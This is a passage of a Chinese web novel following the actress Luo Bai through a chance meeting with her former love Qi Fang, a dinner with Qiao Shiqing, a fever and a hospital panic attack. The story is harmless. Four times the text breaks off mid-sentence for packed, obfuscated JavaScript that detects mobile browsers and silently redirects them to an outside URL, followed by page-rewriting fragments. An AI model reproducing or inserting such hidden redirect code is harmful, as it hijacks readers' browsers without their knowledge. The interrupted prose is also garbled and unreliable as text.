RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244924|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗笑嘻嘻地摆了下手,“那我走了啊!” 洛白哭笑不得:“好。再见。” 安灿宗临走时对她做了个鬼脸:“切,完全都不知道挽留一下。” 又和几个工作人员打过招呼,洛白独自走出大厅,十一月的寒意包裹上来,她不由抱住双臂。 傍晚时分路上寥寥无人,即便有人从大楼里出来也很快搭上车离开,除了风声以及喇叭的声音,什么也听不见了。 整片天空散出一种暗红色的光,泛着暗沉的云团。 洛白的视线从天空中落下来,看见了站在路对面的齐彷。 黑色的高领毛衣,深绿色外套,今天挺冷的,他穿得也不少。或许是他瘦了不少的缘故,她看着他只觉得单薄,不可遏制地感到一股冷意钻进骨头。 他显然也看见了她。 齐彷在业内有口皆碑,敬业认真演技也好。他凭借古装剧崭露头角时洛白才出道,没过几年便跻身电视圈一线演员,前两年拿了视帝就更是炙手可热。从什么角度来说,他都算得上是洛白的大前辈。 在《封玄境》拍摄期间,他们的对手戏很少。两人又都比较孤僻,除了必要的交流之外,她和他没有说过任何话。 洛白向他微微点头,算是打招呼。而后就移开视线。 齐彷迟疑了一会儿,居然迈步朝她走了过来。 洛白的心脏骤然缩紧。 她僵在原地,不知道该作出什么反应。 齐彷走到她旁边,转身和她一起面向马路,双手则放在口袋里。 “最近有什么安排?”他问。 洛白回答:“剧宣或者打歌。” 他不是很会找话题。她也是。 两人就此陷入短暂的沉默。 她低眸,看他的影子挨着自己,被路灯拉得很长。 她突然有些恍惚。 “不用去学校了吗?”齐彷又说。 “早毕业了。”洛白回答。 “哦对。我差点忘了。时间真是……快。”齐彷静静盯着不远处的路灯杆,“我记得以前你公司学校两头跑,总是在楼梯间补作业。” “我不记得。”她说。 肖齐怔愣一秒,随即从口袋里掏出烟盒,取烟的时候动作一顿又塞了回去:“不好意思。习惯了。” 洛白瞥了他一眼,淡去眉眼中多余的情绪:“没关系。我无所谓。” 齐彷把烟盒揣进口袋:“还是不了,免得影响到你,毕竟你——” “我真的无所谓。”洛白打断了他——她几乎从不打断别人,但不知道为什么她中断了他的话,意识到自己过度反应,她很快又放轻声音,“……不是会被轻易影响的年纪了。” 肖齐自嘲似的笑了一下,还是顺着她的话往下说:“是吗。我在二十三岁的时候,似乎很容易被人影响。” 两人不约而同地察觉到脸上有毛绒般的触感。 借着路灯的暖橘色灯光,可以看见是细雨纷纷簌簌地落下来。 “下雨了。”齐彷摊开手,但久久没有凝结成水滴的雨点落在他的掌心。他只好合上手掌,说话声低了一些,但嗓音里那股清冽的意味依旧挥之不去,“这几天温差挺大的。不要感冒了。” “我的助理到了。先走了。”洛白看见熟悉的身影,心下松了口气。 “那改天见。”他说。 洛白眼神一颤,转身加快脚步上了车。 33. 直拍 “那位是齐彷吗?”四吉诧异地说,“你怎么会跟他在一块呢?” “录完节目,偶然撞见了。”洛白低头系安全带。 “哎,都说齐彷是个性格很古怪的神经质。真的嘛。”四吉一边打转向灯,不由朝窗外又瞥了一眼,“气质倒是很出众,随时随地都是偶像剧男主角的感觉。” 洛白靠着后背,浑身泄了气,无力地闭上眼:“或许是因为太爱演戏了。所以变得古怪。” “这倒是,他是个出了名的演戏疯批。啊,你可不要和他说这话噢。” 四吉抽空看向后视镜,洛白侧着脸一副疲态,他也就闭上了嘴。 洛白双眸紧闭,精疲力尽间思绪被拽向一片漆黑,双耳深处响起恼人的嗡鸣。她在那如真似假的耳鸣里依稀听见齐彷的声音。 刚才的对话又开始在脑海里不断盘旋。 他为什么要说那样的话。 他故意在她面前提前过去的事,是为了试探她的反应还是彰显自己的不在意? 越是回想,脑子越痛,越是心乱如麻,到最后洛白猛然睁开了双眼。她拿起手机,胡乱刷新,满屏的资讯新闻从她眼前划上去。她在一众词条里捕捉到了一个名字。 乔时青。 她愣了下。 鬼使神差地,她切换到微信点开了这个名字。 聊天界面还停留在之前的话题上。 不知道为什么,她几乎是不由自主地想要见一见他。 [洛白:那现在有空吗] [洛白:现在有空的话我请你吃晚饭] 消息发出去的那一瞬间,她本来缭乱的思绪像是被丢进洗衣机开始疯狂涡旋,心跳都加快,一阵后悔涌上来。 她不知道他会怎么回答她。 她也不应该在这种时候约他的。 洛白长按消息准备撤回。 乔时青的回复却先一步发来了。 [乔时青:好] [乔时青:你想去哪?] - 洛白约乔时青在ID附近的一家日料店吃晚饭。 这家店包厢很多,平板下单机器人上菜,自动化程度高隐私性也强,ID的艺人经常会来这里吃饭。 她订了一个小包厢,设计极为简洁,房间里仅有一张黑木桌、两把椅子,灯光呈暖黄色,有种静谧而温暖的氛围。 大概等了二十来分钟,乔时青推开门探身进来。 “等很久了?”他随手把外套挂在椅背,在她对面坐下。 “没有。我也是刚到。”洛白说着把平板推向他,“我点了一些,你看看还想吃什么?” 乔时青直接点进“已选”界面:“这都是你喜欢吃的?” “之前和朋友来吃过几次,我觉得这几道都不错,你可以尝尝看,所以就点了。”洛白想到什么又说,“啊,你不喜欢的话删掉就好了。” 乔时青就笑:“怎么会。” 等菜的间隙,乔时青掏出一个小盒子给她。 “嗯?”洛白一眼就看出那是LUMON的耳饰包装,“给,给我吗?” “之前你不是说我弄丢了你的耳环。现在还你。” “哎?” 洛白大脑宕机两秒才想起他说的事。 ID演唱会那晚,她的耳环掉了一只。 她在去新陵的路上,坐在他的副驾驶,照镜子发现自己左耳空空。 “乔时青,是不是你把我的耳环弄丢了?” “我?” “你真应该赔我一只。”她嘟囔着说。 回过神来,洛白脸上一阵燥热:“我当时只是开玩笑。” 那只品牌方耳环,原来是她在舞台上弄丢的,后来被同事捡到还给了造型组。 “你收回去吧。这太让你破费了——上次也是。”洛白指的还是那天,她要他陪她去买衣服,他不光帮忙付了帐还把那么多袋子都拎到她家客厅。 “哎。”乔时青佯装失望地大叹了口气,“我找了好久才找到同款。没想到你这么不领情。” “我……不是不领情,只是觉得这样给你添加了很多负担。”洛白连忙解释道,“有些过意不去。” “你不收我才会有负担。”乔时青顿了顿又说,“我会认为你觉得我这样做越界了。” “如果是这样的话,那我就收下。” 洛白打开首饰盒,一对香槟色玫瑰耳坠静静地洋溢着光芒。 “谢谢你。”她说。 乔时青这时候才问:“怎么会突然想到找我吃饭?” “……” 洛白望向他。 脑海突兀地浮现另一个身影。齐彷。 他和他的声音相似到让她常常错乱。 她终于意识到自己是因为傍晚和齐彷那一场简短的照面才落荒而逃般地来见乔时青。她大概想从后者身上获取一些慰藉。 洛白先是含糊地说:“因为先前答应过你,刚好今天又有空。” 乔时青似乎接受这个答案,他没有质疑,把机器人送过来的菜品端到桌上。色泽鲜美,香气浓郁的日式料理很快填满两人视线里的空白。 洛白已经失去了所有的胃口。 既因为自己再次糊弄了他,又因为他的不追究,这都让她的感受不好。 “我……”她握着筷子的手无意识收紧,“今天下午去录节目了。《keepgoing》。” “嗯,还有谁吗?” “《封玄境》的其他主演。” “然后呢?” “录完节目,我碰到了准备走的齐彷。” 洛白的话戛然而止,她惊觉自己竟然讲出了这个名字。她已经很多年没有向任何人提起这个名字了。 而洛白若无其事地说出这句话实则用了很大的力气。但这其中的费力显然不是乔时青能知道的。 他点头说:“齐彷?我记得他是这部戏的男主吧。” 他以为这是她分享的开始,却没想到她的诉说已经到此为止。 没有听到下文,乔时青只好自己问:“有聊到什么吗?” “没聊什么。只是……” 洛白静默好几秒,才缓缓说,“我发现你的声音和他很像。” “是吗?”乔时青有些意外,“这我倒是头一次听说。” 或许只有她一个人这样认为吧。 “因为他的声音和我很像,所以你想到了我……?” 洛白点头,很快又摇头。 “我不知道。”她只能说。 她只能从混乱的思绪分辨出想要见到他的心情。她莫名觉得,如果她敢开口,他是会来见她的。 而她究竟为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252935|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有这样的笃定,她也无从得知。 - 11月20日18:10热搜榜单 1.#洛白横板直拍##爆# 【洛白-三联音乐节 4K横板直拍 我倒要看看有谁能躲过这个视频 CR:Mr.xuan】 [警告:看这个视频只有零次和无数次] [天啊啊啊啊简直美出新高度!] [好家伙,原来这就是妲己容貌嫦娥气质] [又灵又贵气,内娱独一份的气质!身材比例太优越了,还有直角肩天鹅颈白皮细腿蚂蚁腰,简直是上天哭着求着来喂饭吃的程度] [呜呜呜我们洛白真的出息了居然在热一挂了一天] [妹妹的脸蛋比身上的红裙还要华丽] … 2.#三联音乐节COSINE# 【今年@三联音乐节顺利举办,一众异彩纷呈的表演里热度最高的还得是COSINE新歌《沦陷》的初舞台!】 [嗷嗷嗷嗷嗷嗷让我来叫一声姐姐们!] [这场小洛白真的惊艳到我了呜呜呜呜呜呜呜谁懂啊红裙黑发太神了w简直是她的人生妆造!] [你金姐永远是你金姐!!!内娱女爱豆天花板!绝世妖精!当代神颜!] [我要通宵刷一百遍这个舞台!!] [程佳念内娱有你了不起!!] … 3.#齐彷采访# 【@齐彷采访中透露拍封玄境时与同组演员们的相处小细节】 [不得不说齐彷简直BG之光。痴迷演戏、演技高超不说,长相还这么优越!这是什么高质量男明星??】 [请大家敬请期待线上线下多平台播出的玄幻古装巨制《封玄境》!多多期待我哥的男主杨帆!] [啊啊啊封玄境快点播吧!!物料都看烂了!] … 3.#金灵三联饭拍# 【金灵三联音乐节沦陷直拍来了!一身黑裙惊艳又迷人~!】 [又灵又魅无敌了这姐!我看谁还说金灵划水?!] [COSINE唯一大门面就是不一样,一眼出挑!!] [真的太美了我的妈] [金灵就是门面,官方认定,某些忙内粉别不服气,一直装路人在那质疑吃相真的很难看] [从来没有掉线过的美貌] … 7.#洛白直拍播放量破百万# 【下午放出的洛白沦陷横版直拍(饭拍,CR@)在傍晚达成百万观看量,用时三小时,是本次舞台中目前最快且唯一斩获的百万直拍[鼓掌][鼓掌][喝彩][喝彩]以后也请大家多多喜爱小洛白~】 [简直就是横空盛放的红蔷薇!] [洛白值得] [借楼宣传一下小洛白参演的玄幻古装巨制《封玄境》!请大家多多期待小洛白饰演的玄昭~] [呜呜呜会不会冻到啊,今天可冷了] [我心中的COSINE门面] … “喂?网上那个火的一塌糊涂的直拍,你看了吗?就是洛白那一场,4K画质超清横板,角度绝佳光线超好,一看就知道很会拍的那一场啊。” “……是你上传的吧?” 34. 开会 “你怎么知道?!”夏轩从办公椅上弹起来。 乔时青那头的语气没什么起伏,隐约能听见什么人的声音:“网名这么明显,想不知道也难。” “事已至此,那我也就不装了。”夏轩故作感慨地长叹一声,就不怀好意地问,“那你到底看了没?” “看了。”乔时青坦然道。 夏轩的揶揄笑意越来越深:“看了不止一遍吧?” “不止一遍。” “……你都不害臊的么?”夏轩听着他波澜不惊的语气,不由有些抓狂。 “你要是没什么要调侃的了,我就挂电话了。” “怎么的,你在哪儿啊?” “杂志社。工作。”乔时青言简意赅回答,又暴击似的拷问了一句,“你都不用工作的么?” 夏轩一听到这熟悉的鄙夷,年少时被看扁的PTSD陡然动了,他噌得一下站起身没好气地说:“我特地去买了最好的相机,雇了专业的摄影师,占据绝佳位置专门拍了直拍上传,还特意给它买了个热搜!我做这么多难道不累吗!我就不能休息一下吗!我平时也不闲的好吗!你以为全世界就你忙啊!” “消消气。”乔时青难得安抚了他一句,“你怎么突然生气了。” “这都不懂!”夏轩一听后头那句话更气,恨不能揪着他的衣领强烈痛骂他,“要是没有我的助攻,你入土了都不能入洛白的眼——你马上给我报销!相机、工资、营销、通勤,统统给我报销,我才不给你白嫖!” 乔时青实际上还是没有理解夏轩突然炸毛的原因,在他看来自己只是随口问了一句。不过考虑夏轩这家伙确实动不动就会突然生气,所以他很平和地接受了对方的要求:“把账单发过来吧。” - “刘总,这是10月以来所有艺人截至目前的数据统计。其中洛白的个人搜索指数在最近一段时间上升趋势最显著。” 刘培接过报告,迅速地扫了几眼,淡淡地说了句:“看来洛白把新歌的概念消化地很好。” 坐在会议桌一侧的秦湘闻言一喜,连忙坐直身体。 “我们这次开会,主要是简单总结之前的工作,再讨论一下下一季度的安排。”刘培合上文件,垒在文件夹堆上,看向桌上神色各异的经纪人们,“先从SINE开始吧。” 每季度例会的发言顺序,几乎都是按照团体到个人、咖位大到小的顺序,秦湘手下的艺人里目前咖位最高的是宋宜宁,她一般要等一段时间才轮到发言。 听听前排经纪人们的发言,那简直不是“得意”二字能概括的。 什么哎呀去年虽然只发了一次歌但是销量、搜索量、周边都破了记录呢,后续打算把重心放在亚洲巡演上,希望不要累着他们吧啦吧啦。 “个人资源方面,我们还是想充分尊重成员们的意见。按照计划,我们会策划许之穆、合格的SOLO活动,许诺还是走演戏+综艺常驻,简言之的话明年也会继续发单曲。” “亚巡是一定要办的。今年简言之的成绩很亮眼,其他成员的solo确实可以考虑。”刘培沉吟了下,忽道,“许诺那边在联系的常驻综艺是什么?” 许诺的个人经纪人直起身子回说:“两个真人秀,一个棚内,一个恋综观察嘉宾。我们最后应该会留两个。” 刘培点了点头,又听过COSINE、GREENLIGHT的规划之后,慢悠悠地把目光移到左手边的末端:“洛白那边下一阶段的安排是什么?” 忽然被点到名的秦湘一个激灵,稳住声音很快回道:“因为《封玄境》马上就要播了,所以这段时间主要会配合剧方进行一些宣传活动。然后,年后应该会进组《秦桑低绿枝》。” “所以明年只定了一部戏?” “目前还是这样。”秦湘心说还不是你自己压着那些资源不肯放手,“要追加一些拍摄活动吗?” “其实就洛白现在的热度来看,完全可以乘胜追击,发行单曲,进行音乐活动。”总监在一边提议道。 “那么先观望一下后续吧,如果现在的势头比较好,把重心转向舞台也不是不行。”刘培说。 散了会,等老刘一走,秦湘就伸了个懒腰,转了转发酸的脖颈。 “怎么今天一天都没见到洛白呢?”同事边收拾东西边问道。 “看来热度稍微上来了一些,连公司也懒得来了。”金灵的个人经纪笑着说。 秦湘挤出笑容对她道:“三联音乐节一结束她就发烧去医院了好吗。” “小小年纪的,怎么这么娇弱啊,才冻一天就受不了啦。” 真是眼红病犯了。 秦湘腹诽着出门,掏出手机给四吉拨了过去:“出来了吗?恩那就好,你准时把她送过去啊。地址知道的吧。” “恩。我知道。好。明白了。”四吉打完电话,锁上手机放在一侧时,洛白恰好坐进了车里。 透过后视镜,他可以看见洛白抱着臂靠在座椅上,微侧着脸,长发别在耳后,额头上贴着退烧贴。她沉默地垂着眸,也不知道是在发呆,还是在思考。 四吉不由地把空调调高了两度。 其实洛白平时就这样,默默地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262589|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐着,很少说话,浑身散发着柔弱与生人勿进的混合气息。 平时他也不会在这时候扰了她的清静,不过现在他于情于理都得问上一句:“洛洛,你好些了吗?” “恩。好些了。”洛白的声音很轻。 “医生开的药你这两天别忘了吃啊。” “好。谢谢。” 静了一会儿,四吉想着说点什么来振奋一下她的精神,于是又说:“啊对了,你看了你的那场直拍吗?现在热度很高呢。” “什么直拍?”洛白疑惑道。 “你还不知道啊?就是你昨天三联音乐节的直拍,现在特别火,肯定还在热搜上,你快看看。” 洛白将信将疑地点进热搜榜单,目光却骤然间被某一个词条吸引。她悬空的手指像是有电流钻过,猛地抽搐了一下。 “恩?不在了吗?”四吉看她放下手机,便问。 “我晚点再看吧。”洛白只是这么回他。 “呃,那,那好吧。看这路况,估计还得一个多小时才能到,要不你先睡一会儿吧。” 洛白轻轻闭眼,睫羽在不受控地颤动着。她睡不着,只能假寐式地闭目养神。 出道以后她的睡眠质量就变得很差,如果不吃药的话常常会失眠。 刚才瞥见的那个名字鬼魅般浮现在一片幽暗的视野里。 果然,齐彷这两个字像某种戒断反应的开关。一旦看到,就叫人心乱如麻。 洛白还是睁开了眼。 她目之所及,是窗外迅速倒退的行道树。 她有些恍惚地呢喃:“快十二月了啊……” 冬季的天暗得很快,暮色从车后追上来。街边行人不多,裹着厚外套戴着帽子或围巾,行色匆匆。冷风突起,呼啸地摩擦过车窗,有个路人加快脚步走进一边的烤肉店里。 一个小时后,四吉把洛白送到了晚上的剧宣活动点。 她走进化妆间做妆造不过十分钟,《封玄境》的女主范沁就推门而入。 “沁姐。”“沁姐好。” “沁姐好~” 化妆间的工作人员纷纷和她打招呼。范沁在洛白旁边的椅子上坐下,她带了自己的妆造团队给她做造型。 由于故事线的设计,洛白饰演的女三号大部分对手戏都是和男二演的,很少有和男女主搭上戏。所以尽管拍了一部戏,但她和范沁的交集实在不多。 “沁姐好。” 出于礼貌考虑,洛白还是主动问了好。 范沁透过镜子瞥了她一眼的穿着:“你的衣服好像和我有一些撞色。” 35. 齐彷 造型师给洛白准备的是一件白菱格连衣裙。 范沁穿的是一件波点吊带白裙。 这次宣发活动给男主准备的是白色系服装,范沁这边为了和齐彷有情侣感专门穿了白裙。除了她这个女主,要再有人穿白色就不识相了。 “我换一件。” 洛白本着多一事不如少一事的原则,还是立刻去换了一件裤装。 长袖长裤的,总不会再叫范沁挑毛病了。 她换衣服时,就听到女二林芸晴的声音:“沁姐?真是好久不见了呀。” 林芸晴在拍《封玄境》的时候还没那么火,但刚一杀青,她就凭另一部戏红了。现在势头正猛,换作现在,肯定不会愿意做范沁的女二了。 换好衣服的洛白默默在试衣间的椅子坐下来,大概等了五六分钟,剧宣人员进来请人时她才出门。 “好的,那么现在让我们欢迎《封玄境》的主创们——!” 内场主持人一个一个地报出主演的名字。 听到自己的名字时,洛白脚步轻飘地走进剧宣会的现场,在安灿宗的身侧头重脚轻地站定。看到满屋子的摄像机,她有些晕眩,觉得脸上发烫。大概是烧还没退。 “洛白……洛白?” “嗯?” 洛白猛地回神,意识到自我介绍的流程早已轮到自己,连忙举起话筒:“大家好,我是在剧中饰演上古精灵玄昭的洛白。” 她作为女三号,在剧宣活动中和男三林珂礼几乎都是镶边的存在,不会有太多镜头和份量,只要在恰当的时候捧场,不要抢走主演的风头就好了。 “喂。”一旁的女主在谈论心得时,安灿宗悄悄用手肘碰碰她,“不是说要炒CP的嘛,怎么你一点儿都不和我互动?” “……我没收到这个通知。” 熬到剧宣结束,洛白匆匆离场,径直走进电梯。 电梯门将合未合的时候,一个穿白色流苏西装的身影不疾不徐地迈进来。 没有按电梯键,看来和她一样要去负一楼。 洛白往旁边让了一步。 显示屏的数字开始倒计时。 ……6、5、4。 “助理不在吗?” 站在她面前的男人问。 声音清冽,语速缓缓的,比下坠的电梯更让人有失重感。 洛白终于确认自己又发烧了,她全身无力,连睁眼都有些费劲。整个人昏昏沉沉的,只有心跳声越来越清晰。她感到自己的心跳飞快,脑子里也轰鸣不断。或许她刚才什么也没听见,只是她的幻觉。 有一种永远也醒不过来了的幻觉。 无尽的混沌里视线模糊的洛白似乎看见了洛知雅。 洛知雅跌坐在地上,光滑的瓷砖倒映着她苍白而绝望的面容,四周是碎了一地的玻璃杯。 她抬眼看见躲在墙角的女儿,努力地挤出一个笑容:“不要怕。妈妈没事。” - 洛白再睁开眼时,已经躺在一个单间病房里。 她的左手挂着点滴,身上盖着一床被子,鼻间充斥着消毒水的味道。 右手边的矮桌上放着一束花,精致秀雅的包装里插着百合、香槟玫瑰还有洋桔梗。 洛白伸出手触向水灵透亮的花瓣,慢慢嗅到了淡淡的清香。 “咔哒。” 病房门打开,一个护士笑眯眯地走进来。 她给洛白量了体温,又调了下点滴流速,嘱咐道:“烧已经退咯。接下来一定要注意休息,有任何不舒服都可以叫我哦。” “谢谢。”洛白轻声说。 护士大步流星离开,等在门口的齐彷走进房间,放轻动作关上了门。 他还穿着那身白西装,站在寂静的病房里,被白炽灯渡上一层淡淡的光晕,让洛白有一些恍惚。 “医生说你是细菌感染。”他在饮水机前接了一杯温水。 洛白沉默了两秒:“你……送我来的吗?” “嗯。我不知道你经纪人的联系方式。给。”他没把水杯放在桌上,而是拿在手里递给她。 洛白看向近在眼前的水杯,有他见筋见骨的手裹着。 她抬起手却只是拿起桌上的手机,错过他的视线:“谢谢。我不渴。” 解锁屏幕,微信好几则未读消息。 她才发现自己竟然昏睡到了第二天清早。 “之后还会有几次宣传。”齐彷把水杯轻轻地放到桌上,“如果你不想看见我,我可以——” “没必要因为私人问题影响到剧宣。”洛白低着头回消息,没有看齐彷,即便如此她还是能感受到他一直在注视着自己。 齐彷静了三秒钟。 她不知道他在这三秒里想了什么。 他问:“你讨厌我是吗。” 洛白的指尖停滞在离屏幕两毫米的距离,而她的内心则翻涌起一股无名的浪潮,这使她的呼吸乱了几拍。 她压着那股莫名的情绪,淡淡地说:“你误会了。” “但愿吧。只是我觉得现在你对我……像对别人那样冷淡。” “因为你现在就是别人。” 齐彷的嘴角扯着,苦笑了一下。 洛白的手指开始隐隐地抖动,她把手机倒扣在床边:“没什么事的话你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295141|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走吧。谢谢你送我来医院。” “你就这么想赶我走?” “被人知道了影响不好。” “这家私立保密性挺好的,不用担心媒体报道。” 洛白撇过头望向窗户那侧,天色还很暗,看不清外面有什么。玻璃窗倒映出他单薄的身影。 她好一会儿才开口:“我是说你的未婚妻。” 这杀手锏一般的话像是扼杀了齐彷的力气。 许久,她听到他叹息一声。 “洛洛,再给我一点儿时间。”他这么说。 听到他这句话,洛白的心脏突然抽搐了一下,有一阵刺痛感,她用右手撑在身侧,这才能支起自己的身体转向齐彷。她看着他难以言喻的表情,双唇动了动才说:“我不觉得我们之间还存在任何需要时间去解决的问题。你好像真的误会了什么。齐彷。” “难道现在我对你来说什么也不算吗?”不等她回答,齐彷又重复似的问,“现在我对你来说是陌生人吗?” 他目不转睛地望着洛白那张苍白小巧的脸,她的双眼里有着对他的不可理喻、疑惑,或许还有一些失落,可他看不到他想要在她眼里看到的情感。 洛白说:“你算是我的同事。” 齐彷说:“我不信你只是把我当成同事。” 他不敢告诉她的是在她昏睡的这一夜,他几乎寸步不离地守在她的床边。 他看到她逐渐长开了,比从前更清丽更明艳。只是眉宇紧锁时透出的破碎和冷郁,仍和从前别无两样。他就那样凝望着她的睡颜,近乎贪婪地想要用这一晚上的注视来弥补这些年他错过的她所有成长的痕迹。 呆坐了几个小时以后,齐彷实在无可忍耐,终于轻轻握住了洛白放在被子上的手——但也只敢握到她指尖的位置。他的拇指暌违多年地放在她食指的指甲上,他屏住了呼吸手指却不可抑制地颤抖。她的手一如从前冰凉,就和他的一样。担心她会中途醒来发现他的越界,几秒后他就松开了她。但那几秒冰凉又柔软的触感在齐彷的指间停留了一整晚。 现在洛白那只手正撑在床边,五指用力到泛白。他看得出她在隐忍某些情绪,或许是对他的恨意。他心想,是恨也好。恨他就是爱他。她恨他,说明她爱他。 “我不信你不在意我了。”齐彷说。 洛白笑了。 他说不清她这个笑到底有什么样的意味,仿佛是看了一场无聊的喜剧而勉强挤出来的笑。 “不要自以为是了。”洛白说,“我承认我以前喜欢你。可是现在你对我来说早已经是过去了。” “我也可以是你的未来。”他说。 36. 实践 洛白转过了头:“不要再和我说这种话了。你走吧。” 齐彷没有走:“那么至少让我在这照顾你。” “不用你照顾我。”洛白感到自己身体的抖动显然加剧了,同时有轰鸣声在她耳畔炸响,头皮莫名开始发麻。有一种她难以抑制的情绪,在她的身体里撕扯着她。这让她想要尖叫,想要摔杯子,想要砸东西。 她努力平复心情,结果却是提高了声音,语气比刚才激动了几分:“我也不需要你。你走——你走吧!我不想看见你!” 齐彷看出了她的异样,不要说以前,即便是重逢以后,她也从来不会这样和他说话。 “怎么了?”他倾身过去,伸手扶住洛白的肩膀。他发现她在颤抖:“是不是躯体化发作了?你有带药吗?还是我去给你找医生?” 洛白甩开了他的手,深呼吸着说:“我不要你管。你走吧。” “好。我走。我现在就走。”他担心再待下去会刺激她,急忙站起身,“如果你有任何问题联系我好吗?” 他深深望了她一眼,散乱的长发遮住了她的表情。 洛白没法再说话,她攥紧拳头,大脑与身体像被拽上跳楼机,迅速腾空又急速坠落,整个上半身都一阵一阵地发麻。 她手忙脚乱地扯过放在一旁的包包,颤抖地翻出里面的药吞下去。那股无影无形的冲击还在继续,她只能抱着自己的膝盖大口大口地喘气。她浑身颤抖着,眼泪生理性地掉落,脑海。她 二十分钟之后心悸、发抖、耳鸣、晕眩这些症状终于逐渐消退,洛白终于获得了平静,她脱力地躺倒在病床上,视线与意识同时模糊,她又陷入了昏睡。 不知过了多久,洛白再度睁开了眼睛。 她的左手挂着点滴,身上盖着一床被子,鼻间充斥着消毒水的味道。 “洛洛,你醒啦?!” 洛白顺着声音转头,看见四吉面露惊喜坐在病床前。 “医生说你有点低血糖,又给你挂了一瓶葡萄糖。你好些了吗?” “嗯。” 房间里没有别人了。 她不禁想到刚才坐在这个位置上的身影。 齐彷……是她在做梦吗? 她梦到齐彷坐在她身边? 洛白有点头疼,转眼视线落在了床头的矮桌上。那里有一束花,精致秀雅的包装里插着百合、香槟玫瑰还有洋桔梗。 洛白伸出手触向水灵透亮的花瓣,慢慢嗅到了淡淡的清香。 这味道她闻到过。 “这是齐彷送的吧?”四吉问。 原来不是梦。 洛白摘下一片花瓣碾在手里,内心深处淌过一股难以言喻的情绪。 他对她说的话开始像刺青一样扎进她的大脑。 “这人还怪好呢。我到的时候他就站在病房门口呢,我问他怎么不进来,他说怕打扰你休息,我一来他就走了。”四吉见洛白面色恹恹,就说,“对了,告诉你个好消息!迪尤想找你谈合作——那可是全球最大的运动品牌之一哎!” 洛白甩了下头试图排掉杂念,把注意力放在四吉的话上:“是吗?为什么会突然找我谈合作呢?” “《沦陷》练习室里,你不是穿了迪尤的运动裤吗?那视频一放出来,同款销量立马翻了几倍!迪尤当然想趁热打铁找你做大使了。”四吉说,“虽然也不可能像竹内风斗、乔时青那样做全球代言人,但能拿下系列大使也已经很棒了。” “那现在就准备出院吧。” “不着急。秦湘姐把你这两天的行程都空出来了,你趁这两天好好休息吧。后面准备跨年晚会,行程不会轻松的。要有个好身体才行呀。”四吉看了下时间,快到饭点了,“你中午想吃什么?我去给你买吧?” “我没什么胃口。”洛白说,“你去吃饭吧。” “你都低血糖了呀,多吃点病才能好。” “……那你吃什么就帮我带什么吧。”洛白说。 “好嘞。那我一会儿给你带来。” “嗯。谢谢你。四吉。” “我是你的助理嘛。”四吉不好意思地笑笑,就动作利索地出门了。 洛白半坐起来靠在床边,手机震动了两下。 是姜誉飞发的消息。他说他明天放假回家。 洛白回了消息,返回到主界面,停了两秒,默默向下划动。 刚才听四吉提起乔时青的名字。 她自然就想到了乔时青。 杀青以后他们很少见面,但发消息的频率却比拍戏时多了不少。这么一段时间下来,她似乎习惯了每天点开他的对话框。 果然也有两条未读消息。 昨晚的消息。 [乔时青:这两天风大,别感冒了] 隔了几小时他又发了句。 [乔时青:不会真感冒了吧?] 她看着他的文字,似乎能想象到他的语气和表情。 她想到了他的语气,也就想到了他的气息。 一个多月前的那个深夜,她在混乱又混乱的意识中极其清楚地听到了他的一声叹息,在那之后她被圈进他的臂弯里。 她躲在他怀里,像被一件温暖又厚实的大衣密不透风地裹住,她贴着他的身体听到他有力的心跳,规律的响动像晨钟般让人安心,她在那时嗅到他身上有好闻又难以形容的味道。 ——干燥、温暖、碾碎的开心果。 想到他的气息,也就想到了他。 “在忙吗?”于是洛白发了一句。 她还没来得及掩耳盗铃般丢下手机,就看见备注栏变成了[对方正在输入中]。 她没有察觉自己嘴角已经上扬。 [乔时青:下班了] 这个人,好少有艺人会说自己“上班”“下班”的。 [乔时青:好难得] [洛白:嗯?] [乔时青:洛大明星难得抽空给我发消息] [洛白:……] [洛白:你现在有空] [你撤回了一条消息] [乔时青:?我看到了] 洛白的脸颊噌得一下烫了几分。 [乔时青:我现在很有空] 洛白犹疑着在对话框打下一句话,大拇指虚放在发送键上,不知道该不该发。 [乔时青:嗯?真的不说了吗?] 只是她身体里有一种想望正在翻涌。 [洛白:好吧] [洛白:你有空和我打个电话之类的吗] 洛白没有想好如何为自己这个要求编一个体面的解释,乔时青的电话已经拨了过来。她等了三秒才慢吞吞地接起来,试探着发了一个词:“喂……?” 